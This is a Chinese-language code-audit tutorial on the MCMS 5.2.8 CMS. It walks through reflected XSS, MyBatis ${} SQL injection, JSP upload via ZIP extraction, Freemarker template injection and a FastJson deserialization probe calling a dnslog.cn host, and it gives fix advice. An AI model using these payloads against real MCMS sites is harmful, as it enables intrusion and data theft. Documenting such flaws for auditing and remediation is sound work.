Java代码审计其一:MCMS 5.2.8
字数 1325 2025-08-11 08:36:04

MCMS 5.2.8 Java代码审计教学文档

1. 系统概述

MCMS 5.2.8是基于SpringBoot+MyBatis开发的CMS系统,已知存在以下漏洞类型:

  • SQL注入
  • 文件上传
  • SSTI (Freemarker模板注入)
  • FastJson反序列化漏洞

2. XSS漏洞分析

漏洞位置

前台搜索框存在反射型XSS漏洞

漏洞原理

  1. 搜索功能位于/mcms/search.do
  2. 当输入恶意内容时,系统会抛出异常并将输入内容直接拼接到报错页面
  3. 过滤逻辑位于net/mingsoft/basic/filter/XssHttpServletRequestWrapper.java

关键代码

public String clean(String name, String content) {
    String result = Jsoup.clean(content, "", whitelist, outputSettings);
    result = Parser.unescapeEntities(result, true);
    if (!content.equals(result) || !SqlInjectionUtil.isSqlValid(content)){
        throw new BusinessException("参数异常:"+ content); // 直接拼接用户输入到报错信息
    }
    return content;
}

复现方法

POST /mcms/search.do HTTP/1.1
content_title=<script>alert('/xss/')</script>

3. SQL注入漏洞分析

漏洞原理

  1. MyBatis框架中使用了${}进行SQL拼接
  2. 系统使用了<include>标签复用SQL片段
  3. 关键注入点在net/mingsoft/base/dao/IBaseDao.xml中的sqlWhere片段

漏洞位置

  • ICategoryDao.xml
  • ICmsHistoryLogDao.xml
  • IContentDao.xml

关键代码

<sql id="sqlWhere" databaseId="mysql">
    <if test="sqlWhereList != null">
        <foreach collection="sqlWhereList" item="item" index="index" open="and( " separator=" " close=" )">
            <if test="item.el == 'eq'">
                <choose>
                    <when test="item.multiple != null and item.multiple == true">
                        FIND_IN_SET(#{item.value}, ${item.field})>0
                    </when>
                    <otherwise>
                        ${item.field} = #{item.value}
                    </otherwise>
                </choose>
            </if>

利用链分析

  1. XML -> Interface -> Impl -> Controller -> 构造请求
  2. 关键类:
    • ICategoryDao接口
    • BaseBizImpl实现类
    • CategoryAction控制器

利用方法

  1. 构造sqlWhereList参数,控制field字段
  2. 示例payload:
[{
    "action":"and",
    "field":"content_title",
    "el":"eq",
    "model":"contentTitle",
    "name":"type":"input",
    "value":"aaaaaaaaaaaaa"
}]

4. 文件上传漏洞分析

模板上传漏洞

  • 路径:/ms/file/uploadTemplate.do
  • 方法:打包JSP文件为ZIP上传
  • 利用:上传后系统会自动解压,可直接访问上传的JSP文件

图片上传漏洞

  • 路径:/ms/file/upload.do
  • 方法:上传ZIP后调用解压接口/ms/template/unZip.do

5. SSTI (Freemarker模板注入)

漏洞位置

  • 自定义页面功能
  • 关键类:net\mingsoft\base\util\FtlUtil.java

修复建议

cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

6. FastJson反序列化漏洞

漏洞位置

  • net/mingsoft/basic/action/web/EditorAction.java
  • 直接使用JSONObject.parse(jsonConfig)解析用户输入

利用限制

  • FastJson版本<=1.2.80
  • 利用难度较高

示例payload

{
    "@type":"java.lang.Exception",
    "@type":"com.alibaba.fastjson.JSONException",
    "x":{
        "@type":"java.net.InetSocketAddress",
        "address":"",
        "val":"xxxxxxxx.dnslog.cn"
    }
}

7. 审计总结

关键审计点

  1. MyBatis中${}的使用
  2. 异常处理中的用户输入拼接
  3. 文件上传后的处理逻辑
  4. 模板引擎的安全配置
  5. JSON解析的安全性

修复建议

  1. 使用#{}替代MyBatis中的${}
  2. 对异常信息中的用户输入进行过滤
  3. 限制上传文件类型和解压路径
  4. 配置Freemarker的安全解析器
  5. 升级FastJson版本或使用其他JSON解析库

8. 参考资源

  • MCMS官方issue: https://gitee.com/mingSoft/MCMS/issues/I61P5X
  • FastJson安全公告
  • Freemarker安全配置文档
MCMS 5.2.8 Java代码审计教学文档 1. 系统概述 MCMS 5.2.8是基于SpringBoot+MyBatis开发的CMS系统,已知存在以下漏洞类型: SQL注入 文件上传 SSTI (Freemarker模板注入) FastJson反序列化漏洞 2. XSS漏洞分析 漏洞位置 前台搜索框存在反射型XSS漏洞 漏洞原理 搜索功能位于 /mcms/search.do 当输入恶意内容时,系统会抛出异常并将输入内容直接拼接到报错页面 过滤逻辑位于 net/mingsoft/basic/filter/XssHttpServletRequestWrapper.java 关键代码 复现方法 3. SQL注入漏洞分析 漏洞原理 MyBatis框架中使用了 ${} 进行SQL拼接 系统使用了 <include> 标签复用SQL片段 关键注入点在 net/mingsoft/base/dao/IBaseDao.xml 中的 sqlWhere 片段 漏洞位置 ICategoryDao.xml ICmsHistoryLogDao.xml IContentDao.xml 关键代码 利用链分析 XML -> Interface -> Impl -> Controller -> 构造请求 关键类: ICategoryDao 接口 BaseBizImpl 实现类 CategoryAction 控制器 利用方法 构造 sqlWhereList 参数,控制 field 字段 示例payload: 4. 文件上传漏洞分析 模板上传漏洞 路径: /ms/file/uploadTemplate.do 方法:打包JSP文件为ZIP上传 利用:上传后系统会自动解压,可直接访问上传的JSP文件 图片上传漏洞 路径: /ms/file/upload.do 方法:上传ZIP后调用解压接口 /ms/template/unZip.do 5. SSTI (Freemarker模板注入) 漏洞位置 自定义页面功能 关键类: net\mingsoft\base\util\FtlUtil.java 修复建议 6. FastJson反序列化漏洞 漏洞位置 net/mingsoft/basic/action/web/EditorAction.java 直接使用 JSONObject.parse(jsonConfig) 解析用户输入 利用限制 FastJson版本 <=1.2.80 利用难度较高 示例payload 7. 审计总结 关键审计点 MyBatis中 ${} 的使用 异常处理中的用户输入拼接 文件上传后的处理逻辑 模板引擎的安全配置 JSON解析的安全性 修复建议 使用 #{} 替代MyBatis中的 ${} 对异常信息中的用户输入进行过滤 限制上传文件类型和解压路径 配置Freemarker的安全解析器 升级FastJson版本或使用其他JSON解析库 8. 参考资源 MCMS官方issue: https://gitee.com/mingSoft/MCMS/issues/I61P5X FastJson安全公告 Freemarker安全配置文档